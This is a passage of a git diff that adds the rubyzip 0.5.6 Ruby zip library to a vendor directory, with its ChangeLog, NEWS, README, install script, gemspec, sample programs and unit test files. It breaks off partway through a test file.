ziprequire.rb and ziprequiretest.rb + +2002-04-24 20:59 thomas + + * zip.rb: Made ZipEntry tolerate invalid dates + +2002-04-21 00:57 thomas + + * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification + date/time correctly + +2002-04-20 02:44 thomas + + * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest + +2002-04-20 02:39 thomas + + * ziprequire.rb: Made a warning go away + +2002-04-20 02:38 thomas + + * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, + test/rubycode.zip: Fixed a bug in ziprequire. Added + ziprequiretest.rb and test data files + +2002-04-19 22:43 thomas + + * zip.rb, ziptest.rb: Added recursion support to Glob module + +2002-04-18 21:37 thomas + + * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest + unit test suite. This module provides the functionality to expand + a 'glob pattern' given a list of files - Next step is to use this + module in ZipFile + +2002-04-01 21:16 thomas + + * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a + proof-of-concept implementation of a require implementation that + can load ruby modules from a zip file. Needs unit tests and + polish. + +2002-03-30 01:52 thomas + + * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all + modifiers) to zip.rb. Made README 'RDoc compliant' + +2002-03-29 23:26 thomas + + * example.rb, samples/.cvsignore, samples/example.rb, + samples/gtkRubyzip.rb: Moved example.rb to samples/. Added + another sample gtkRubyzip.rb + +2002-03-29 20:06 thomas + + * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, + ziptest.rb, test/.cvsignore, test/file1.txt, + test/file1.txt.deflatedData, test/file2.txt, + test/testDirectory.bin: Added test/ directory and moved the + manually created test data files into it. Changed ziptest.rb so + it runs in test/ directory + +2002-03-29 18:15 thomas + + * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip + entries when changing zip file + +2002-03-29 17:50 thomas + + * zip.rb: Performance optimization: Only write new ZipFile, if it + has been changed. The test suite runs in half the time now. + +2002-03-22 22:18 thomas + + * ziptest.rb: Found the tests that didn't use blocks to make sure + input streams are closed as soon as they arent used anymore and + got rid of the GC.start + +2002-03-22 22:12 thomas + + * ziptest.rb: All tests run on windows ruby 1.6.6 + +2002-03-22 10:38 thomas + + * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which + needed to open zipfile file in binary mode. Added another + workaround for the return value from File.open(name) where name + is the name of a directory - ruby returns different exceptions in + linux, win/cygwin and windows. A number of tests failed because + in windows you cant delete a file that is open. Fixed by changing + ziptest.rb to use ZipInputStream.getInputStream with blocks a few + places. There is a hack in CommanZipFileFixture.setup where the + GC is explicitly invoked. Should be fixed with blocks instead. + The only currently failing test fails because the test data + creation fails to add a comment to 4entry.zip, because echo eats + the remainder of the line including the pipe character and the + following zip -z 4 entry.zip command + +2002-03-21 22:12 thomas + + * NEWS, README, TODO, install.rb: Added install.rb + +2002-03-21 20:34 thomas + + * .cvsignore, TODO, zip.rb, ziptest.rb: Added + test_extractDirectoryExistsAsFileOverwrite and fixed to pass + +2002-03-21 20:22 thomas + + * zip.rb, ziptest.rb: Extraction of directory entries is now + supported + +2002-03-20 21:24 thomas + + * COPYING, README, README.txt: Removed COPYING, renamed README.txt + to README. Updated README + +2002-03-20 21:18 thomas + + * example.rb: Fixed example.rb added example that shows zip file + manipulation with Zip::ZipFile + +2002-03-20 20:56 thomas + + * TODO, zip.rb, ziptest.rb: Directories can now be added (not + recursively, the directory entry itself. Directories are + recognized by a empty entries with a trailing /. The purpose of + storing them explicitly in the zip file is to be able to store + permission and ownership information + +2002-03-20 20:08 thomas + + * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was + only included in ziptest.rb + +2002-03-20 19:07 thomas + + * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError + instead of RuntimeError. ZipError now has several subclasses. + +2002-03-19 22:19 thomas + + * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block + +2002-03-19 22:11 thomas + + * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with + name that already exists in archive, and fixed to pass test + +2002-03-19 21:40 thomas + + * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing + entry + +2002-03-19 20:40 thomas + + * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with + block + +2002-03-18 21:05 thomas + + * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. + +2002-03-18 20:42 thomas + + * TODO, zip.rb, ziptest.rb: Refactoring: + + Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. + + Collapsed BasicZipFile and ZipFile into ZipFile. + +2002-03-18 18:05 thomas + + * zip.rb: Removed method that was never called + +2002-03-17 22:25 thomas + + * ziptest.rb: Run tests with =true as default + +2002-03-17 22:22 thomas + + * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without + warnings + +2002-03-17 21:04 thomas + + * zip.rb, ziptest.rb: Down to one failing test + +2002-02-25 19:42 thomas + + * TODO: Added more todos + +2002-02-02 00:14 thomas + + * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to + BasicZipFile + +2002-02-02 00:01 thomas + + * ziptest.rb: More test cases - all of them failing, so now there + are 18 failing test cases. Three more test cases to implement, + then it is time for the production code + +2002-02-01 21:34 thomas + + * ziptest.rb: Also run SimpleZipFile tests for ZipFile. + +2002-02-01 20:11 thomas + + * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. + The new ZipFile will have many more methods that are useful for + managing archives. + +2002-01-26 00:14 thomas + + * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You + get an Errno::EEXISTS instead of an Errno::EISDIR if you try to + open a file for writing that is a directory. + +2002-01-26 00:02 thomas + + * ziptest.rb: Fixed test that failed on windows because of CRLF + line ending + +2002-01-25 23:29 thomas + + * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty + deflated entry in zip file + +2002-01-25 22:51 thomas + + * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now + fully functional in the form of ZipOutputStream. + +2002-01-20 16:00 thomas + + * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. + +2002-01-20 00:23 thomas + + * .cvsignore: Added .cvsignore file + +2002-01-20 00:09 thomas + + * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor + fixes + +2002-01-19 23:28 thomas + + * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! + + ZipOutputStream in progress + + Wrapped rubyzip in namespace module Zip. + +2002-01-17 18:52 thomas + + * ziptest.rb: Fail nicely if the user doesn't have info-zip + compatible zip in the path + +2002-01-10 18:02 thomas + + * zip.rb: Adjusted chunk size to 32k after a few perf measurements + +2002-01-09 22:10 thomas + + * README.txt: License now same as rubys, not just GPL + +2002-01-05 23:09 thomas + + * NEWS, README.txt: Updated NEWS file + +2002-01-05 23:05 thomas + + * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for + decompressors and a tests for ZipLocalEntry, + ZipCentralDirectoryEntry and ZipCentralDirectory for handling of + corrupt data + +2002-01-05 22:21 thomas + + * file1.txt.deflatedData: deflated data extracted from a zip file. + contains file1.txt + +2002-01-05 20:05 thomas + + * zip.rb: Changed references to Inflate to Zlib::inflate for + compatibility with ruby-zlib-0.5 + +2002-01-05 01:31 thomas + + * ziptest.rb: Fixed problem with test file creation + +2002-01-05 01:15 thomas + + * README.txt: Updated README.txt + +2002-01-05 01:13 thomas + + * zip.rb, ziptest.rb: ZipFile now works + +2002-01-04 21:51 thomas + + * testDirectory.bin, zip.rb, ziptest.rb: + ZipCentralDirectoryEntryTest now runs + +2002-01-04 18:40 thomas + + * ziptest.rb: Changed + ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry + so it works on both unix too. It only worked on windows because + the test made assumptions about the compressed size and crc of an + entry, but that differs depending on the OS because of the CRLF + thing. + +2002-01-04 18:37 thomas + + * README.txt: Added note about zlib.c patch + +2002-01-02 18:48 thomas + + * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, + zlib.c.diff: Initial revision + +2002-01-02 18:48 thomas + + * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, + zlib.c.diff: initial + diff --git a/vendor/rubyzip-0.5.6/NEWS b/vendor/rubyzip-0.5.6/NEWS new file mode 100755 index 00000000..d05d6561 --- /dev/null +++ b/vendor/rubyzip-0.5.6/NEWS @@ -0,0 +1,99 @@ += Version 0.5.6 = + +Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of +Errno::EINVAL for some invalid seeks. Fixed 'version needed to +extract'-field incorrect in local headers. + += Version 0.5.5 = + +Fix for a problem with writing zip files that concerns only ruby 1.8.1. + += Version 0.5.4 = + +Significantly reduced memory footprint when modifying zip files. + += Version 0.5.3 = + +Added optimization to avoid decompressing and recompressing individual +entries when modifying a zip archive. + += Version 0.5.2 = + +Fixed ZipFile corruption bug in ZipFile class. Added basic unix +extra-field support. + += Version 0.5.1 = + +Fixed ZipFile.get_output_stream bug. + += Version 0.5.0 = + +List of changes: +* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility +* Changed method names from camelCase to rubys underscore style. +* Installs to zip/ subdir instead of directly to site_ruby +* Added ZipFile.directory and ZipFile.file - each method return an +object that can be used like Dir and File only for the contents of the +zip file. +* Added sample application zipfind which works like Find.find, only +Zip::ZipFind.find traverses into zip archives too. + +Bug fixes: +* AbstractInputStream.each_line with non-default separator + + += Version 0.5.0a = + +Source reorganized. Added ziprequire, which can be used to load ruby +modules from a zip file, in a fashion similar to jar files in +Java. Added gtkRubyzip, another sample application. Implemented +ZipInputStream.lineno and ZipInputStream.rewind + +Bug fixes: + +* Read and write date and time information correctly for zip entries. +* Fixed read() using separate buffer, causing mix of gets/readline/read to +cause problems. + += Version 0.4.2 = + +Performance optimizations. Test suite runs in half the time. + += Version 0.4.1 = + +Windows compatibility fixes. + += Version 0.4.0 = + +Zip::ZipFile is now mutable and provides a more convenient way of +modifying zip archives than Zip::ZipOutputStream. Operations for +adding, extracting, renaming, replacing and removing entries to zip +archives are now available. + +Runs without warnings with -w switch. + +Install script install.rb added. + + += Version 0.3.1 = + +Rudimentary support for writing zip archives. + + += Version 0.2.2 = + +Fixed and extended unit test suite. Updated to work with ruby/zlib +0.5. It doesn't work with earlier versions of ruby/zlib. + + += Version 0.2.0 = + +Class ZipFile added. Where ZipInputStream is used to read the +individual entries in a zip file, ZipFile reads the central directory +in the zip archive, so you can get to any entry in the zip archive +without having to skipping through all the preceeding entries. + + += Version 0.1.0 = + +First working version of ZipInputStream. diff --git a/vendor/rubyzip-0.5.6/README b/vendor/rubyzip-0.5.6/README new file mode 100755 index 00000000..2160e5d7 --- /dev/null +++ b/vendor/rubyzip-0.5.6/README @@ -0,0 +1,49 @@ += rubyzip + +rubyzip is a ruby library for reading and writing zip (pkzip format) +files, with the restriction that only uncompressed and deflated zip +entries are supported. All this library does is handling of the zip +file format. the actual compression/decompression is handled by +zlib. zlib is accessible from ruby thanks to ruby/zlib (see below) + +To run the unit tests you need to have rubyunit or test::unit +installed. + += Install + +ruby install.rb + + += Prerequisites + +This library requires ruby/zlib version 0.5.0 or newer. ruby/zlib is +included in most recent ruby distributions. + +* zlib http://www.gzip.org/zlib/ +* ruby-zlib: http://www.blue.sky.or.jp/atelier/ruby/ + + += Documentation + +The samples/ directory is a good place to start to get a feel for +using the library. For details about the specific behaviour of classes +and methods refer to the test suite. Finally you can generate the rdoc +documentation or visit http://rubyzip.sourceforge.net/doc. + + += License + +rubyzip is distributed under the same license as ruby. See +http://www.ruby-lang.org/en/LICENSE.txt + + += Project Home + +http://rubyzip.sourceforge.net + + += Author + +Thomas Sondergaard (thomas at thomassondergaard.com) + +extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) diff --git a/vendor/rubyzip-0.5.6/TODO b/vendor/rubyzip-0.5.6/TODO new file mode 100755 index 00000000..05746880 --- /dev/null +++ b/vendor/rubyzip-0.5.6/TODO @@ -0,0 +1,10 @@ +* Fix problem with mixing AbstractInputStream::gets and AbstractInputStream::red +* Implement ZipFsDir.glob +* ZipFile.checkIntegrity method +* non-MSDOS permission attributes +** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" +* Packager version, required unpacker version in zip headers +** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" +* implement small gui app on top, to exercise library and to discover +what features should be added to rubyzip next. +* implement storing attributes and ownership information diff --git a/vendor/rubyzip-0.5.6/install.rb b/vendor/rubyzip-0.5.6/install.rb new file mode 100755 index 00000000..d806acb0 --- /dev/null +++ b/vendor/rubyzip-0.5.6/install.rb @@ -0,0 +1,21 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +require 'rbconfig' +require 'find' +require 'ftools' + +include Config + +files = %w{ stdrubyext.rb ioextras.rb zip.rb zipfilesystem.rb ziprequire.rb tempfile_bugfixed.rb } + +INSTALL_DIR = File.join(CONFIG["sitelibdir"], "zip") +File.makedirs(INSTALL_DIR) +Dir.chdir "zip" +files.each { + |filename| + installPath = File.join(INSTALL_DIR, filename) + File::install(filename, installPath, 0644, true) +} +Dir.chdir ".." diff --git a/vendor/rubyzip-0.5.6/rubyzip.gemspec b/vendor/rubyzip-0.5.6/rubyzip.gemspec new file mode 100755 index 00000000..951569b8 --- /dev/null +++ b/vendor/rubyzip-0.5.6/rubyzip.gemspec @@ -0,0 +1,20 @@ +$:.unshift '../lib' +require 'rubygems' + +spec = Gem::Specification.new do |s| + s.name = 'rubyzip' + s.version = "0.5.5" + s.author = "Thomas Sondergaard" + s.email = "thomas(at)thomassondergaard.com" + s.homepage = "http://rubyzip.sourceforge.net/" + s.platform = Gem::Platform::RUBY + s.summary = "rubyzip is a ruby module for reading and writing zip files" + s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} + s.require_path = '.' + s.autorequire = 'zip/zip' +end + +if $0==__FILE__ + Gem::Builder.new(spec).build +end + diff --git a/vendor/rubyzip-0.5.6/samples/example.rb b/vendor/rubyzip-0.5.6/samples/example.rb new file mode 100755 index 00000000..35ceb09d --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/example.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +$: << ".." +system("zip example.zip example.rb gtkRubyzip.rb") + +require 'zip/zip' + +####### Using ZipInputStream alone: ####### + +Zip::ZipInputStream.open("example.zip") { + |zis| + entry = zis.get_next_entry + print "First line of '#{entry.name} (#{entry.size} bytes): " + puts "'#{zis.gets.chomp}'" + entry = zis.get_next_entry + print "First line of '#{entry.name} (#{entry.size} bytes): " + puts "'#{zis.gets.chomp}'" +} + + +####### Using ZipFile to read the directory of a zip file: ####### + +zf = Zip::ZipFile.new("example.zip") +zf.each_with_index { + |entry, index| + + puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" + # use zf.get_input_stream(entry) to get a ZipInputStream for the entry + # entry can be the ZipEntry object or any object which has a to_s method that + # returns the name of the entry. +} + + +####### Using ZipOutputStream to write a zip file: ####### + +Zip::ZipOutputStream.open("exampleout.zip") { + |zos| + zos.put_next_entry("the first little entry") + zos.puts "Hello hello hello hello hello hello hello hello hello" + + zos.put_next_entry("the second little entry") + zos.puts "Hello again" + + # Use rubyzip or your zip client of choice to verify + # the contents of exampleout.zip +} + +####### Using ZipFile to change a zip file: ####### + +Zip::ZipFile.open("exampleout.zip") { + |zf| + zf.add("thisFile.rb", "example.rb") + zf.rename("thisFile.rb", "ILikeThisName.rb") + zf.add("Again", "example.rb") +} + +# Lets check +Zip::ZipFile.open("exampleout.zip") { + |zf| + puts "Changed zip file contains: #{zf.entries.join(', ')}" + zf.remove("Again") + puts "Without 'Again': #{zf.entries.join(', ')}" +} + +# For other examples, look at zip.rb and ziptest.rb + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/samples/example_filesystem.rb b/vendor/rubyzip-0.5.6/samples/example_filesystem.rb new file mode 100755 index 00000000..8fc5ef83 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/example_filesystem.rb @@ -0,0 +1,34 @@ +#!/usr/bin/env ruby + +$: << ".." + +require 'zip/zipfilesystem' +require 'ftools' + +EXAMPLE_ZIP = "filesystem.zip" + +File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) + +Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { + |zf| + zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } + zf.dir.mkdir("dir1") + zf.dir.chdir("dir1") + zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } + puts zf.file.read("file1.txt") + puts zf.file.read("../file1.txt") + zf.dir.chdir("..") + zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } + puts "Entries: #{zf.entries.join(', ')}" +} + +Zip::ZipFile.open(EXAMPLE_ZIP) { + |zf| + puts "Entries from reloaded zip: #{zf.entries.join(', ')}" +} + +# For other examples, look at zip.rb and ziptest.rb + +# Copyright (C) 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb b/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb new file mode 100755 index 00000000..d2c3a204 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb @@ -0,0 +1,86 @@ +#!/usr/bin/env ruby + +$: << ".." + +$VERBOSE = true + +require 'gtk' +require 'zip/zip' + +class MainApp < Gtk::Window + def initialize + super() + set_usize(400, 256) + set_title("rubyzip") + signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } + + box = Gtk::VBox.new(false, 0) + add(box) + + @zipfile = nil + @buttonPanel = ButtonPanel.new + @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + show_file_selector + } + @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + puts "Not implemented!" + } + box.pack_start(@buttonPanel, false, false, 0) + + sw = Gtk::ScrolledWindow.new + sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) + box.pack_start(sw, true, true, 0) + + @clist = Gtk::CList.new(["Name", "Size", "Compression"]) + @clist.set_selection_mode(Gtk::SELECTION_BROWSE) + @clist.set_column_width(0, 120) + @clist.set_column_width(1, 120) + @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { + |w, row, column, event| + @selected_row = row + } + sw.add(@clist) + end + + class ButtonPanel < Gtk::HButtonBox + attr_reader :openButton, :extractButton + def initialize + super + set_layout(Gtk::BUTTONBOX_START) + set_spacing(0) + @openButton = Gtk::Button.new("Open archive") + @extractButton = Gtk::Button.new("Extract entry") + pack_start(@openButton) + pack_start(@extractButton) + end + end + + def show_file_selector + @fileSelector = Gtk::FileSelection.new("Open zip file") + @fileSelector.show + @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + open_zip(@fileSelector.filename) + @fileSelector.destroy + } + @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + @fileSelector.destroy + } + end + + def open_zip(filename) + @zipfile = Zip::ZipFile.open(filename) + @clist.clear + @zipfile.each { + |entry| + @clist.append([ entry.name, + entry.size.to_s, + (100.0*entry.compressedSize/entry.size).to_s+"%" ]) + } + end +end + +mainApp = MainApp.new() + +mainApp.show_all + +Gtk.main diff --git a/vendor/rubyzip-0.5.6/samples/write_simple.rb b/vendor/rubyzip-0.5.6/samples/write_simple.rb new file mode 100755 index 00000000..d0c30a43 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/write_simple.rb @@ -0,0 +1,13 @@ +#!/usr/bin/env ruby + +$: << ".." + +require 'zip/zip' + +include Zip + +ZipOutputStream.open('simple.zip') { + |zos| + ze = zos.put_next_entry 'entry.txt' + zos.puts "Hello world" +} \ No newline at end of file diff --git a/vendor/rubyzip-0.5.6/samples/zipfind.rb b/vendor/rubyzip-0.5.6/samples/zipfind.rb new file mode 100755 index 00000000..96c489d4 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/zipfind.rb @@ -0,0 +1,74 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'zip/zip' +require 'find' + +module Zip + module ZipFind + def self.find(path, zipFilePattern = /\.zip$/i) + Find.find(path) { + |fileName| + yield(fileName) + if zipFilePattern.match(fileName) && File.file?(fileName) + begin + Zip::ZipFile.foreach(fileName) { + |zipEntry| + yield(fileName + File::SEPARATOR + zipEntry.to_s) + } + rescue Errno::EACCES => ex + puts ex + end + end + } + end + + def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) + self.find(path, zipFilePattern) { + |fileName| + yield(fileName) if fileNamePattern.match(fileName) + } + end + + end +end + +if __FILE__ == $0 + module ZipFindConsoleRunner + + PATH_ARG_INDEX = 0; + FILENAME_PATTERN_ARG_INDEX = 1; + ZIPFILE_PATTERN_ARG_INDEX = 2; + + def self.run(args) + check_args(args) + Zip::ZipFind.find_file(args[PATH_ARG_INDEX], + args[FILENAME_PATTERN_ARG_INDEX], + args[ZIPFILE_PATTERN_ARG_INDEX]) { + |fileName| + report_entry_found fileName + } + end + + def self.check_args(args) + if (args.size != 3) + usage + exit + end + end + + def self.usage + puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" + end + + def self.report_entry_found(fileName) + puts fileName + end + + end + + ZipFindConsoleRunner.run(ARGV) +end diff --git a/vendor/rubyzip-0.5.6/test/alltests.rb b/vendor/rubyzip-0.5.6/test/alltests.rb new file mode 100755 index 00000000..691349af --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/alltests.rb @@ -0,0 +1,9 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +require 'stdrubyexttest' +require 'ioextrastest' +require 'ziptest' +require 'zipfilesystemtest' +require 'ziprequiretest' diff --git a/vendor/rubyzip-0.5.6/test/file1.txt b/vendor/rubyzip-0.5.6/test/file1.txt new file mode 100755 index 00000000..23ea2f73 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/file1.txt @@ -0,0 +1,46 @@ + +AUTOMAKE_OPTIONS = gnu + +EXTRA_DIST = test.zip + +CXXFLAGS= -g + +noinst_LIBRARIES = libzipios.a + +bin_PROGRAMS = test_zip test_izipfilt test_izipstream +# test_flist + +libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ + fcol_common.h fcolexceptions.cpp fcolexceptions.h \ + fileentry.cpp fileentry.h flist.cpp \ + flist.h flistentry.cpp flistentry.h \ + flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ + inflatefilt.cpp inflatefilt.h izipfilt.cpp \ + izipfilt.h izipstream.cpp izipstream.h \ + zipfile.cpp zipfile.h ziphead.cpp \ + ziphead.h flistscanner.ll + +# test_flist_SOURCES = test_flist.cpp + +test_izipfilt_SOURCES = test_izipfilt.cpp + +test_izipstream_SOURCES = test_izipstream.cpp + +test_zip_SOURCES = test_zip.cpp + +# Notice that libzipios.a is not specified as -L. -lzipios +# If it was, automake would not include it as a dependency. + +# test_flist_LDADD = libzipios.a + +test_izipfilt_LDADD = libzipios.a -lz + +test_zip_LDADD = libzipios.a -lz + +test_izipstream_LDADD = libzipios.a -lz + + + +flistscanner.cc : flistscanner.ll + $(LEX) -+ -PFListScanner -o$@ $^ + diff --git a/vendor/rubyzip-0.5.6/test/file1.txt.deflatedData b/vendor/rubyzip-0.5.6/test/file1.txt.deflatedData new file mode 100755 index 0000000000000000000000000000000000000000..bfbb4f42c009154e9e3304855c31813275b709d6 GIT binary patch literal 482 zcmV<80UiE@RMBpmFcf{>{fa9!51TglfJv3cnzTZrO$4cwhiS+$rdV}s6dQHj*U#Vt z3=5f`xX0%l?mad@^t@d^Mn6{hdb5q!PZ{3gi);W^yKNff%Q)Lw#4v5bKfDIG+wJa? z=pnns-~~V`F15*%_4Ca zj^EboH)XZqO6tya0#)-~Treih@%_}yQ1_j5gZaJAdUeEVT>IuDsQSN`rbJ4Y7;mF@ zf!i26zX>!yBbTKhhP8Aj^y*W$=fmwAo%K2sJ)!HNmwM3k8J!jDh3C2&Q7T4?A^j^} z9r3Ik8+;@B3zEjD19@fmrW#RnN-n8r3f5ArlwiSXCJQF% zdpJoZSw_p{^uI6; YT71LBFMz*PQb9>fNlr&oR8>Ys3VC(y$N&HU literal 0 HcmV?d00001 diff --git a/vendor/rubyzip-0.5.6/test/file2.txt b/vendor/rubyzip-0.5.6/test/file2.txt new file mode 100755 index 00000000..cc9ef6ad --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/file2.txt @@ -0,0 +1,1504 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +require 'rubyunit' +require 'zip' + +include Zip + +Dir.chdir "test" + +class AbstractInputStreamTest < RUNIT::TestCase + # AbstractInputStream subclass that provides a read method + + TEST_LINES = [ "Hello world#{$/}", + "this is the second line#{$/}", + "this is the last line"] + TEST_STRING = TEST_LINES.join + class TestAbstractInputStream + include AbstractInputStream + def initialize(aString) + @contents = aString + @readPointer = 0 + end + + def read(charsToRead) + retVal=@contents[@readPointer, charsToRead] + @readPointer+=charsToRead + return retVal + end + + def produceInput + read(100) + end + + def inputFinished? + @contents[@readPointer] == nil + end + end + + def setup + @io = TestAbstractInputStream.new(TEST_STRING) + end + + def test_gets + assert_equals(TEST_LINES[0], @io.gets) + assert_equals(TEST_LINES[1], @io.gets) + assert_equals(TEST_LINES[2], @io.gets) + assert_equals(nil, @io.gets) + end + + def test_getsMultiCharSeperator + assert_equals("Hell", @io.gets("ll")) + assert_equals("o world#{$/}this is the second l", @io.gets("d l")) + end + + def test_each_line + lineNumber=0 + @io.each_line { + |line| + assert_equals(TEST_LINES[lineNumber], line) + lineNumber+=1 + } + end + + def test_readlines + assert_equals(TEST_LINES, @io.readlines) + end + + def test_readline + test_gets + begin + @io.readline + fail "EOFError expected" + rescue EOFError + end + end +end + +class ZipEntryTest < RUNIT::TestCase + TEST_ZIPFILE = "someZipFile.zip" + TEST_COMMENT = "a comment" + TEST_COMPRESSED_SIZE = 1234 + TEST_CRC = 325324 + TEST_EXTRA = "Some data here" + TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED + TEST_NAME = "entry name" + TEST_SIZE = 8432 + TEST_ISDIRECTORY = false + + def test_constructorAndGetters + entry = ZipEntry.new(TEST_ZIPFILE, + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) + + assert_equals(TEST_COMMENT, entry.comment) + assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) + assert_equals(TEST_CRC, entry.crc) + assert_equals(TEST_EXTRA, entry.extra) + assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) + assert_equals(TEST_NAME, entry.name) + assert_equals(TEST_SIZE, entry.size) + assert_equals(TEST_ISDIRECTORY, entry.isDirectory) + end + + def test_equality + entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) + entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) + entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) + entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) + + assert_equals(entry1, entry1) + assert_equals(entry1, entry2) + + assert(entry2 != entry3) + assert(entry3 != entry4) + assert(entry4 != entry5) + assert(entry5 != entry6) + assert(entry6 != entry7) + assert(entry7 != entry8) + + assert(entry7 != "hello") + assert(entry7 != 12) + end +end + +module IOizeString + attr_reader :tell + + def read(count = nil) + @tell ||= 0 + count = size unless count + retVal = slice(@tell, count) + @tell += count + return retVal + end + + def seek(index, offset) + @tell ||= 0 + case offset + when IO::SEEK_END + newPos = size + index + when IO::SEEK_SET + newPos = index + when IO::SEEK_CUR + newPos = @tell + index + else + raise "Error in test method IOizeString::seek" + end + if (newPos < 0 || newPos >= size) + raise Errno::EINVAL + else + @tell=newPos + end + end + + def reset + @tell = 0 + end +end + +class ZipLocalEntryTest < RUNIT::TestCase + def test_readLocalEntryHeaderOfFirstTestZipEntry + File.open(TestZipFile::TEST_ZIP3.zipName) { + |file| + entry = ZipEntry.readLocalEntry(file) + + assert_equal("", entry.comment) + # Differs from windows and unix because of CR LF + # assert_equal(480, entry.compressedSize) + # assert_equal(0x2a27930f, entry.crc) + # extra field is 21 bytes long + # probably contains some unix attrutes or something + # disabled: assert_equal(nil, entry.extra) + assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) + assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) + assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) + assert(! entry.isDirectory) + } + end + + def test_readLocalEntryFromNonZipFile + File.open("ziptest.rb") { + |file| + assert_equals(nil, 